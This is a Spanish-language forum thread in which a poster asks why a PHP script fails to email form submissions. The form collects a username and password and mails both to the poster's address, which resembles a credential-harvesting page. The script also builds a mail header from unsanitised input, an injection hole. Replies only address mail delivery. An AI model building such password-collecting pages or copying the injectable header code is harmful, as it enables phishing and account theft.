Este codigo es el que crea los campos de texto y el boton
<form id="form2" name="form2" method="post" action="send.php">
<label>Usuario<br />
<input type="text" name="Usuario" />
Contraseña
<input type="password" name="Contraseña" />
<br />
<input type="submit" name="Submit" value="Enviar" />
</label>
</form>
y este es el que recoje las variables y lo envia a mi mail,
<?php
$nombre = $_POST['Usuario'];
$mail = $_POST['Contraseña'];
$header = 'From: ' . $nombre . " \r\n";
$header .= "X-Mailer: PHP/" . phpversion() . " \r\n";
$header .= "Mime-Version: 1.0 \r\n";
$header .= "Content-Type: text/plain";
$mensaje = "Este mensaje fue enviado por " . $nombre . ", de la empresa " . $empresa . " \r\n";
$mensaje .= "Su e-mail es: " . $mail . " \r\n";
$mensaje .= "Mensaje: " . $_POST['mensaje'] . " \r\n";
$mensaje .= "Enviado el " . date('d/m/Y', time());
$para = 'he puesto mi email aqui';
$asunto = 'Contacto desde Taller Webmaster';
mail($para, $asunto, utf8_decode($mensaje), $header);
echo 'El mensaje se ha enviado correctamente';
?>
Cuando le doy al botn lo hace todo bien, lo que pasa es que el mensaje no me llega, alguien sabe porque'? Gracias :)
Has revisado la bandeja de SPAM?? porque hay en ocasiones en las que te los envía ahí, me ha pasado....
Intenta con la función simple sin las cabeceras
<?php
$mensaje = "Linea 1\n Linea 2\n Linea 3";
mail('destinatario@servidor.com', 'Asunto', $mensaje);
?>
Saludos
Ese código que has posteado no lo entiendo, que hago el segundo código que he posteado pongo el que tu me has dejado? Gracias :)
Lo que he posteado es la manera de envíar mail's
Era solo un ejemplo, pero obviando el tuyo, si te fijas, es igual al tuyo, pero como comenté antes.. sin enviar las cabeceras...
El tuyo
mail($para, $asunto, utf8_decode($mensaje), $header);
El que te dejé
mail($para, $asunto, $mensaje);
Saludos